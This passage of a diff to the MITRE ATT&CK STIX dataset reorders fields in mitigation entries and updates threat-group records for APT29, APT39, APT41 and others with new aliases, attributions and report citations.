"2020-06-20T20:11:42.195Z", - "created": "2019-06-11T16:35:25.488Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_version": "1.1" }, { @@ -232133,10 +273910,12 @@ "x_mitre_version": "1.0" }, { - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], + "created": "2019-06-11T16:33:55.337Z", + "modified": "2020-06-20T20:46:36.342Z", + "type": "course-of-action", + "id": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", + "description": "Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.", + "name": "Filter Network Traffic", "external_references": [ { "source_name": "mitre-attack", @@ -232144,12 +273923,10 @@ "url": "https://attack.mitre.org/mitigations/M1037" } ], - "name": "Filter Network Traffic", - "description": "Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.", - "id": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", - "type": "course-of-action", - "modified": "2020-06-20T20:46:36.342Z", - "created": "2019-06-11T16:33:55.337Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_version": "1.1" }, { @@ -232271,47 +274048,6 @@ "x_mitre_deprecated": true, "x_mitre_version": "1.0" }, - { - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "external_id": "T1484", - "source_name": "mitre-attack", - "url": "https://attack.mitre.org/mitigations/T1484" - }, - { - "description": "Robbins, A., Vazarkar, R., and Schroeder, W. (2016, April 17). Bloodhound: Six Degrees of Domain Admin. Retrieved March 5, 2019.", - "url": "https://github.com/BloodHoundAD/BloodHound", - "source_name": "GitHub Bloodhound" - }, - { - "description": "Robbins, A. (2018, April 2). A Red Teamer\u2019s Guide to GPOs and OUs. Retrieved March 5, 2019.", - "url": "https://wald0.com/?p=179", - "source_name": "Wald0 Guide to GPOs" - }, - { - "description": "Microsoft. (2008, September 11). Fun with WMI Filters in Group Policy. Retrieved March 13, 2019.", - "url": "https://blogs.technet.microsoft.com/askds/2008/09/11/fun-with-wmi-filters-in-group-policy/", - "source_name": "Microsoft WMI Filters" - }, - { - "description": "Microsoft. (2018, May 30). Filtering the Scope of a GPO. Retrieved March 13, 2019.", - "url": "https://docs.microsoft.com/en-us/previous-versions/windows/desktop/Policy/filtering-the-scope-of-a-gpo", - "source_name": "Microsoft GPO Security Filtering" - } - ], - "description": "Identify and correct GPO permissions abuse opportunities (ex: GPO modification privileges) using auditing tools such as Bloodhound (version 1.5.1 and later)(Citation: GitHub Bloodhound).\n\nConsider implementing WMI and security filtering to further tailor which users and computers a GPO will apply to.(Citation: Wald0 Guide to GPOs)(Citation: Microsoft WMI Filters)(Citation: Microsoft GPO Security Filtering)", - "name": "Group Policy Modification Mitigation", - "id": "course-of-action--2108b914-eee1-45cc-8840-36272b19596a", - "type": "course-of-action", - "modified": "2019-07-24T19:34:09.544Z", - "created": "2019-04-24T16:57:19.391Z", - "x_mitre_deprecated": true, - "x_mitre_version": "1.0" - }, { "id": "course-of-action--03c0c586-50ed-45a7-95f4-f496d7eb5330", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -234007,12 +275743,10 @@ "x_mitre_version": "1.0" }, { - "created": "2019-06-06T21:10:35.792Z", - "modified": "2019-06-06T21:10:35.792Z", - "type": "course-of-action", - "id": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", - "description": "Set and enforce secure password policies for accounts.", - "name": "Password Policies", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], "external_references": [ { "source_name": "mitre-attack", @@ -234020,10 +275754,12 @@ "url": "https://attack.mitre.org/mitigations/M1027" } ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Password Policies", + "description": "Set and enforce secure password policies for accounts.", + "id": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "type": "course-of-action", + "modified": "2019-06-06T21:10:35.792Z", + "created": "2019-06-06T21:10:35.792Z", "x_mitre_version": "1.0" }, { @@ -234997,9 +276733,13 @@ "x_mitre_deprecated": true }, { - "id": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", - "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", - "name": "Restrict File and Directory Permissions", + "created": "2019-06-06T20:54:49.964Z", + "modified": "2020-05-20T15:12:39.136Z", + "type": "course-of-action", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], "external_references": [ { "source_name": "mitre-attack", @@ -235007,13 +276747,9 @@ "url": "https://attack.mitre.org/mitigations/M1022" } ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "type": "course-of-action", - "modified": "2020-05-20T15:12:39.136Z", - "created": "2019-06-06T20:54:49.964Z", + "name": "Restrict File and Directory Permissions", + "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", + "id": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", "x_mitre_version": "1.1" }, { @@ -236940,7 +278676,7 @@ "url": "https://technet.microsoft.com/en-us/library/dn487450.aspx" }, { - "description": "undefined. (n.d.). Risks of Default Passwords on the Internet. Retrieved April 12, 2019.", + "description": "US-CERT. (n.d.). Risks of Default Passwords on the Internet. Retrieved April 12, 2019.", "url": "https://www.us-cert.gov/ncas/alerts/TA13-175A", "source_name": "US-CERT Alert TA13-175A Risks of Default Passwords on the Internet" } @@ -236949,7 +278685,7 @@ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "type": "course-of-action", - "modified": "2019-07-25T12:32:31.844Z", + "modified": "2021-04-05T19:21:28.924Z", "created": "2018-10-17T00:14:20.652Z", "x_mitre_deprecated": true, "x_mitre_version": "1.0" @@ -237001,10 +278737,12 @@ "x_mitre_version": "1.0" }, { - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], + "created": "2019-06-06T16:47:30.700Z", + "modified": "2020-07-14T22:22:06.356Z", + "type": "course-of-action", + "id": "course-of-action--15437c6d-b998-4a36-be41-4ace3d54d266", + "description": "Vulnerability scanning is used to find potentially exploitable software vulnerabilities to remediate them.", + "name": "Vulnerability Scanning", "external_references": [ { "source_name": "mitre-attack", @@ -237012,12 +278750,10 @@ "url": "https://attack.mitre.org/mitigations/M1016" } ], - "name": "Vulnerability Scanning", - "description": "Vulnerability scanning is used to find potentially exploitable software vulnerabilities to remediate them.", - "id": "course-of-action--15437c6d-b998-4a36-be41-4ace3d54d266", - "type": "course-of-action", - "modified": "2020-07-14T22:22:06.356Z", - "created": "2019-06-06T16:47:30.700Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_version": "1.1" }, { @@ -237577,7 +279313,7 @@ "Codoso Team", "Sunshop Group" ], - "modified": "2020-06-20T22:48:29.397Z", + "modified": "2021-02-09T13:56:34.975Z", "created": "2018-10-17T00:14:20.652Z", "x_mitre_contributors": [ "FS-ISAC", @@ -237626,7 +279362,7 @@ }, { "source_name": "Pawn Storm", - "description": "(Citation: SecureWorks TG-4127) (Citation: ESET Sednit Part 3)" + "description": "(Citation: SecureWorks TG-4127) (Citation: ESET Sednit Part 3)(Citation: TrendMicro Pawn Storm Dec 2020) " }, { "source_name": "Fancy Bear", @@ -237634,7 +279370,7 @@ }, { "source_name": "STRONTIUM", - "description": "(Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 3) (Citation: Microsoft STRONTIUM Aug 2019) (Citation: Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020)" + "description": "(Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 3) (Citation: Microsoft STRONTIUM Aug 2019) (Citation: Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020)(Citation: TrendMicro Pawn Storm Dec 2020) " }, { "source_name": "Tsar Team", @@ -237738,6 +279474,11 @@ "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50", "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019." }, + { + "source_name": "TrendMicro Pawn Storm Dec 2020", + "url": "https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html", + "description": "Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm\u2019s Lack of Sophistication as a Strategy. Retrieved January 13, 2021." + }, { "description": "MSRC Team. (2019, August 5). Corporate IoT \u2013 a path to intrusion. Retrieved August 16, 2019.", "url": "https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion/", @@ -237763,7 +279504,7 @@ "Threat Group-4127", "TG-4127" ], - "modified": "2020-10-06T23:32:21.793Z", + "modified": "2021-04-19T21:59:12.033Z", "created": "2017-05-31T21:31:48.664Z", "x_mitre_contributors": [ "S\u00e9bastien Ruel, CGI", @@ -237771,9 +279512,30 @@ "Emily Ratliff, IBM", "Richard Gold, Digital Shadows" ], - "x_mitre_version": "3.0" + "x_mitre_version": "3.1" }, { + "created": "2017-05-31T21:31:52.748Z", + "modified": "2021-04-30T12:11:56.336Z", + "aliases": [ + "APT29", + "Dark Halo", + "StellarParticle", + "NOBELIUM", + "UNC2452", + "YTTRIUM", + "The Dukes", + "Cozy Bear", + "CozyDuke" + ], + "type": "intrusion-set", + "id": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "APT29", + "description": "[APT29](https://attack.mitre.org/groups/G0016) is threat group that has been attributed to Russia's Foreign Intelligence Service (SVR).(Citation: White House Imposing Costs RU Gov April 2021)(Citation: UK Gov Malign RIS Activity April 2021) They have operated since at least 2008, often targeting government networks in Europe and NATO member countries, research institutes, and think tanks. [APT29](https://attack.mitre.org/groups/G0016) reportedly compromised the Democratic National Committee starting in the summer of 2015.(Citation: F-Secure The Dukes)(Citation: GRIZZLY STEPPE JAR)(Citation: Crowdstrike DNC June 2016)(Citation: UK Gov UK Exposes Russia SolarWinds April 2021)\n\nIn April 2021, the US and UK governments attributed the SolarWinds supply chain compromise cyber operation to the SVR; public statements included citations to [APT29](https://attack.mitre.org/groups/G0016), Cozy Bear, and The Dukes.(Citation: NSA Joint Advisory SVR SolarWinds April 2021)(Citation: UK NSCS Russia SolarWinds April 2021) Victims of this campaign included government, consulting, technology, telecom, and other organizations in North America, Europe, Asia, and the Middle East. Industry reporting referred to the actors involved in this campaign as UNC2452, NOBELIUM, StellarParticle, and Dark Halo.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: MSTIC NOBELIUM Mar 2021)(Citation: CrowdStrike SUNSPOT Implant January 2021)(Citation: Volexity SolarWinds)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], "external_references": [ { "source_name": "mitre-attack", @@ -237784,6 +279546,22 @@ "source_name": "APT29", "description": "(Citation: F-Secure The Dukes)(Citation: FireEye APT29 Nov 2018)(Citation: ESET Dukes October 2019)(Citation: NCSC APT29 July 2020)" }, + { + "source_name": "Dark Halo", + "description": "(Citation: Volexity SolarWinds)" + }, + { + "source_name": "StellarParticle", + "description": "(Citation: CrowdStrike SUNSPOT Implant January 2021)" + }, + { + "source_name": "NOBELIUM", + "description": "(Citation: MSTIC NOBELIUM Mar 2021)" + }, + { + "source_name": "UNC2452", + "description": "(Citation: FireEye SUNBURST Backdoor December 2020)" + }, { "source_name": "YTTRIUM", "description": "(Citation: Microsoft Unidentified Dec 2018)" @@ -237800,6 +279578,16 @@ "source_name": "CozyDuke", "description": "(Citation: Crowdstrike DNC June 2016)" }, + { + "source_name": "White House Imposing Costs RU Gov April 2021", + "url": "https://www.whitehouse.gov/briefing-room/statements-releases/2021/04/15/fact-sheet-imposing-costs-for-harmful-foreign-activities-by-the-russian-government/", + "description": "White House. (2021, April 15). Imposing Costs for Harmful Foreign Activities by the Russian Government. Retrieved April 16, 2021." + }, + { + "source_name": "UK Gov Malign RIS Activity April 2021", + "url": "https://www.gov.uk/government/news/russia-uk-and-us-expose-global-campaigns-of-malign-activity-by-russian-intelligence-services", + "description": "UK Gov. (2021, April 15). UK and US expose global campaign of malign activity by Russian intelligence services . Retrieved April 16, 2021." + }, { "source_name": "F-Secure The Dukes", "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", @@ -237815,6 +279603,41 @@ "description": "Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.", "url": "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/" }, + { + "source_name": "UK Gov UK Exposes Russia SolarWinds April 2021", + "url": "https://www.gov.uk/government/news/russia-uk-exposes-russian-involvement-in-solarwinds-cyber-compromise", + "description": "UK Gov. (2021, April 15). UK exposes Russian involvement in SolarWinds cyber compromise . Retrieved April 16, 2021." + }, + { + "source_name": "NSA Joint Advisory SVR SolarWinds April 2021", + "url": "https://media.defense.gov/2021/Apr/15/2002621240/-1/-1/0/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF", + "description": "NSA, FBI, DHS. (2021, April 15). Russian SVR Targets U.S. and Allied Networks. Retrieved April 16, 2021." + }, + { + "source_name": "UK NSCS Russia SolarWinds April 2021", + "url": "https://www.ncsc.gov.uk/news/uk-and-us-call-out-russia-for-solarwinds-compromise", + "description": "UK NCSC. (2021, April 15). UK and US call out Russia for SolarWinds compromise. Retrieved April 16, 2021." + }, + { + "source_name": "FireEye SUNBURST Backdoor December 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021." + }, + { + "source_name": "MSTIC NOBELIUM Mar 2021", + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021." + }, + { + "source_name": "CrowdStrike SUNSPOT Implant January 2021", + "url": "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/", + "description": "CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021." + }, + { + "source_name": "Volexity SolarWinds", + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020." + }, { "description": "Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.", "url": "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html", @@ -237836,24 +279659,11 @@ "description": "Microsoft Defender Research Team. (2018, December 3). Analysis of cyberattack on U.S. think tanks, non-profits, public sector by unidentified attackers. Retrieved April 15, 2019." } ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "description": "[APT29](https://attack.mitre.org/groups/G0016) is threat group that has been attributed to the Russian government and has operated since at least 2008. (Citation: F-Secure The Dukes) (Citation: GRIZZLY STEPPE JAR) This group reportedly compromised the Democratic National Committee starting in the summer of 2015. (Citation: Crowdstrike DNC June 2016)", - "name": "APT29", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "id": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", - "type": "intrusion-set", - "aliases": [ - "APT29", - "YTTRIUM", - "The Dukes", - "Cozy Bear", - "CozyDuke" - ], - "modified": "2020-10-22T19:06:15.392Z", - "created": "2017-05-31T21:31:52.748Z", - "x_mitre_version": "1.4" + "x_mitre_version": "2.0", + "x_mitre_contributors": [ + "Matt Brenton, Zurich Insurance Group", + "Katie Nickels, Red Canary" + ] }, { "external_references": [ @@ -237906,9 +279716,9 @@ "source_name": "FireEye Operation Double Tap" }, { - "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong", + "source_name": "Symantec Buckeye", "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", - "source_name": "Symantec Buckeye" + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" }, { "url": "https://attack.mitre.org/docs/APT3_Adversary_Emulation_Plan.pdf", @@ -237938,7 +279748,7 @@ "Threat Group-0110", "TG-0110" ], - "modified": "2020-03-30T01:47:03.155Z", + "modified": "2021-02-09T13:52:16.312Z", "created": "2017-05-31T21:31:55.853Z", "x_mitre_version": "1.3" }, @@ -237996,7 +279806,7 @@ }, { "source_name": "APT32", - "description": "(Citation: FireEye APT32 May 2017)(Citation: Volexity OceanLotus Nov 2017)(Citation: Cybereason Oceanlotus May 2017)" + "description": "(Citation: FireEye APT32 May 2017)(Citation: Volexity OceanLotus Nov 2017)(Citation: Cybereason Oceanlotus May 2017)(Citation: ESET OceanLotus Mar 2019)(Citation: Amnesty Intl. Ocean Lotus February 2021)" }, { "source_name": "SeaLotus", @@ -238004,11 +279814,11 @@ }, { "source_name": "OceanLotus", - "description": "(Citation: FireEye APT32 May 2017) (Citation: Volexity OceanLotus Nov 2017)(Citation: Cybereason Oceanlotus May 2017)" + "description": "(Citation: FireEye APT32 May 2017) (Citation: Volexity OceanLotus Nov 2017)(Citation: Cybereason Oceanlotus May 2017)(Citation: ESET OceanLotus Mar 2019)(Citation: Amnesty Intl. Ocean Lotus February 2021)" }, { "source_name": "APT-C-00", - "description": "(Citation: ESET OceanLotus)(Citation: Cybereason Oceanlotus May 2017)" + "description": "(Citation: ESET OceanLotus)(Citation: Cybereason Oceanlotus May 2017)(Citation: ESET OceanLotus Mar 2019)(Citation: Amnesty Intl. Ocean Lotus February 2021)" }, { "source_name": "FireEye APT32 May 2017", @@ -238029,6 +279839,16 @@ "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt", "source_name": "Cybereason Oceanlotus May 2017" + }, + { + "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.", + "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/", + "source_name": "ESET OceanLotus Mar 2019" + }, + { + "source_name": "Amnesty Intl. Ocean Lotus February 2021", + "url": "https://www.amnesty.org/en/latest/news/2021/02/viet-nam-hacking-group-targets-activist/", + "description": "Amnesty International. (2021, February 24). Vietnamese activists targeted by notorious hacking group. Retrieved March 1, 2021." } ], "aliases": [ @@ -238037,12 +279857,12 @@ "OceanLotus", "APT-C-00" ], - "modified": "2020-06-29T21:45:34.984Z", + "modified": "2021-04-20T03:36:35.066Z", "created": "2017-12-14T16:46:06.044Z", "x_mitre_contributors": [ "Romain Dumont, ESET" ], - "x_mitre_version": "2.3" + "x_mitre_version": "2.4" }, { "created": "2018-04-18T17:59:24.739Z", @@ -238251,11 +280071,19 @@ }, { "source_name": "APT39", - "description": "(Citation: FireEye APT39 Jan 2019)" + "description": "(Citation: FireEye APT39 Jan 2019)(Citation: FBI FLASH APT39 September 2020)(Citation: Dept. of Treasury Iran Sanctions September 2020)(Citation: DOJ Iran Indictments September 2020)" + }, + { + "source_name": "REMIX KITTEN", + "description": "(Citation: Crowdstrike GTR2020 Mar 2020)" + }, + { + "source_name": "ITG07", + "description": "(Citation: FBI FLASH APT39 September 2020)(Citation: Dept. of Treasury Iran Sanctions September 2020)(Citation: DOJ Iran Indictments September 2020)" }, { "source_name": "Chafer", - "description": "Activities associated with APT39 largely align with a group publicly referred to as Chafer.(Citation: FireEye APT39 Jan 2019)(Citation: Symantec Chafer Dec 2015)(Citation: Dark Reading APT39 JAN 2019)" + "description": "Activities associated with APT39 largely align with a group publicly referred to as Chafer.(Citation: FireEye APT39 Jan 2019)(Citation: Symantec Chafer Dec 2015)(Citation: Dark Reading APT39 JAN 2019)(Citation: FBI FLASH APT39 September 2020)(Citation: Dept. of Treasury Iran Sanctions September 2020)(Citation: DOJ Iran Indictments September 2020)" }, { "source_name": "FireEye APT39 Jan 2019", @@ -238267,6 +280095,26 @@ "url": "https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets", "source_name": "Symantec Chafer Dec 2015" }, + { + "source_name": "FBI FLASH APT39 September 2020", + "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf", + "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020." + }, + { + "source_name": "Dept. of Treasury Iran Sanctions September 2020", + "url": "https://home.treasury.gov/news/press-releases/sm1127", + "description": "Dept. of Treasury. (2020, September 17). Treasury Sanctions Cyber Actors Backed by Iranian Intelligence. Retrieved December 10, 2020." + }, + { + "source_name": "DOJ Iran Indictments September 2020", + "url": "https://www.justice.gov/opa/pr/department-justice-and-partner-departments-and-agencies-conduct-coordinated-actions-disrupt", + "description": "DOJ. (2020, September 17). Department of Justice and Partner Departments and Agencies Conduct Coordinated Actions to Disrupt and Deter Iranian Malicious Cyber Activities Targeting the United States and the Broader International Community. Retrieved December 10, 2020." + }, + { + "source_name": "Crowdstrike GTR2020 Mar 2020", + "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020." + }, { "source_name": "Dark Reading APT39 JAN 2019", "url": "https://www.darkreading.com/attacks-breaches/iran-ups-its-traditional-cyber-espionage-tradecraft/d/d-id/1333764", @@ -238274,16 +280122,18 @@ } ], "name": "APT39", - "description": "[APT39](https://attack.mitre.org/groups/G0087) is an Iranian cyber espionage group that has been active since at least 2014. They have targeted the telecommunication and travel industries to collect personal information that aligns with Iran's national priorities. (Citation: FireEye APT39 Jan 2019)(Citation: Symantec Chafer Dec 2015)", + "description": "[APT39](https://attack.mitre.org/groups/G0087) is one of several names for cyberespionage activity conducted by the Iranian Ministry of Intelligence and Security (MOIS) through the front company Rana Intelligence Computing since at least 2014. [APT39](https://attack.mitre.org/groups/G0087) has primarily targeted the travel, hospitality, academic, and telecommunications industries in Iran and across Asia, Africa, Europe, and North America to track individuals and entities considered to be a threat by the MOIS.(Citation: FireEye APT39 Jan 2019)(Citation: Symantec Chafer Dec 2015)(Citation: FBI FLASH APT39 September 2020)(Citation: Dept. of Treasury Iran Sanctions September 2020)(Citation: DOJ Iran Indictments September 2020)", "type": "intrusion-set", "id": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", "aliases": [ "APT39", + "REMIX KITTEN", + "ITG07", "Chafer" ], - "modified": "2020-08-11T15:46:26.496Z", + "modified": "2021-04-23T02:08:55.286Z", "created": "2019-02-19T16:01:38.585Z", - "x_mitre_version": "2.3" + "x_mitre_version": "3.0" }, { "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -238300,22 +280150,105 @@ "source_name": "APT41", "description": "(Citation: FireEye APT41 2019)" }, + { + "source_name": "WICKED PANDA", + "description": "(Citation: Crowdstrike GTR2020 Mar 2020)" + }, { "source_name": "FireEye APT41 Aug 2019", "url": "https://content.fireeye.com/apt-41/rpt-apt41", "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019." + }, + { + "source_name": "Crowdstrike GTR2020 Mar 2020", + "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020." } ], "name": "APT41", - "description": "[APT41](https://attack.mitre.org/groups/G0096) is a group that carries out Chinese state-sponsored espionage activity in addition to financially motivated activity. [APT41](https://attack.mitre.org/groups/G0096) has been active since as early as 2012. The group has been observed targeting healthcare, telecom, technology, and video game industries in 14 countries.(Citation: FireEye APT41 Aug 2019)", + "description": "[APT41](https://attack.mitre.org/groups/G0096) is a threat group that researchers have assessed as Chinese state-sponsored espionage group that also conducts financially-motivated operations. [APT41](https://attack.mitre.org/groups/G0096) has been active since as early as 2012. The group has been observed targeting healthcare, telecom, technology, and video game industries in 14 countries.(Citation: FireEye APT41 Aug 2019)", "type": "intrusion-set", "id": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", "aliases": [ - "APT41" + "APT41", + "WICKED PANDA" ], - "modified": "2020-06-24T00:51:25.764Z", + "modified": "2021-04-26T13:13:46.915Z", "created": "2019-09-23T13:43:36.945Z", - "x_mitre_version": "1.1" + "x_mitre_version": "2.0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "external_id": "G0130", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0130" + }, + { + "source_name": "Operation Woolen-Goldfish", + "description": "Analysis of infrastructure, tools, and modes of operation revealed a potential relationship between Ajax Security Team and the campaign Operation Woolen-Goldfish.(Citation: Check Point Rocket Kitten)(Citation: TrendMicro Operation Woolen Goldfish March 2015)" + }, + { + "source_name": "AjaxTM", + "description": "(Citation: FireEye Operation Saffron Rose 2013)" + }, + { + "source_name": "Rocket Kitten", + "description": "Analysis of infrastructure, tools, and modes of operation revealed a potential relationship between Ajax Security Team and Rocket Kitten.(Citation: Check Point Rocket Kitten)(Citation: IranThreats Kittens Dec 2017)" + }, + { + "source_name": "Flying Kitten", + "description": "(Citation: CrowdStrike Flying Kitten )" + }, + { + "source_name": "Operation Saffron Rose", + "description": "(Citation: FireEye Operation Saffron Rose 2013)" + }, + { + "source_name": "FireEye Operation Saffron Rose 2013", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-operation-saffron-rose.pdf", + "description": "Villeneuve, N. et al.. (2013). OPERATION SAFFRON ROSE . Retrieved May 28, 2020." + }, + { + "source_name": "Check Point Rocket Kitten", + "url": "https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf", + "description": "Check Point Software Technologies. (2015). ROCKET KITTEN: A CAMPAIGN WITH 9 LIVES. Retrieved March 16, 2018." + }, + { + "source_name": "TrendMicro Operation Woolen Goldfish March 2015", + "url": "https://documents.trendmicro.com/assets/wp/wp-operation-woolen-goldfish.pdf", + "description": "Cedric Pernet, Kenney Lu. (2015, March 19). Operation Woolen-Goldfish - When Kittens Go phishing. Retrieved April 21, 2021." + }, + { + "source_name": "IranThreats Kittens Dec 2017", + "url": "https://iranthreats.github.io/resources/attribution-flying-rocket-kitten/", + "description": "Iran Threats . (2017, December 5). Flying Kitten to Rocket Kitten, A Case of Ambiguity and Shared Code. Retrieved May 28, 2020." + }, + { + "source_name": "CrowdStrike Flying Kitten ", + "url": "https://www.crowdstrike.com/blog/cat-scratch-fever-crowdstrike-tracks-newly-reported-iranian-actor-flying-kitten/", + "description": "Dahl, M.. (2014, May 13). Cat Scratch Fever: CrowdStrike Tracks Newly Reported Iranian Actor as FLYING KITTEN. Retrieved May 27, 2020." + } + ], + "description": "[Ajax Security Team](https://attack.mitre.org/groups/G0130) is a group that has been active since at least 2010 and believed to be operating out of Iran. By 2014 [Ajax Security Team](https://attack.mitre.org/groups/G0130) transitioned from website defacement operations to malware-based cyber espionage campaigns targeting the US defense industrial base and Iranian users of anti-censorship technologies.(Citation: FireEye Operation Saffron Rose 2013)", + "name": "Ajax Security Team", + "type": "intrusion-set", + "id": "intrusion-set--fa19de15-6169-428d-9cd6-3ca3d56075b7", + "aliases": [ + "Ajax Security Team", + "Operation Woolen-Goldfish", + "AjaxTM", + "Rocket Kitten", + "Flying Kitten", + "Operation Saffron Rose" + ], + "modified": 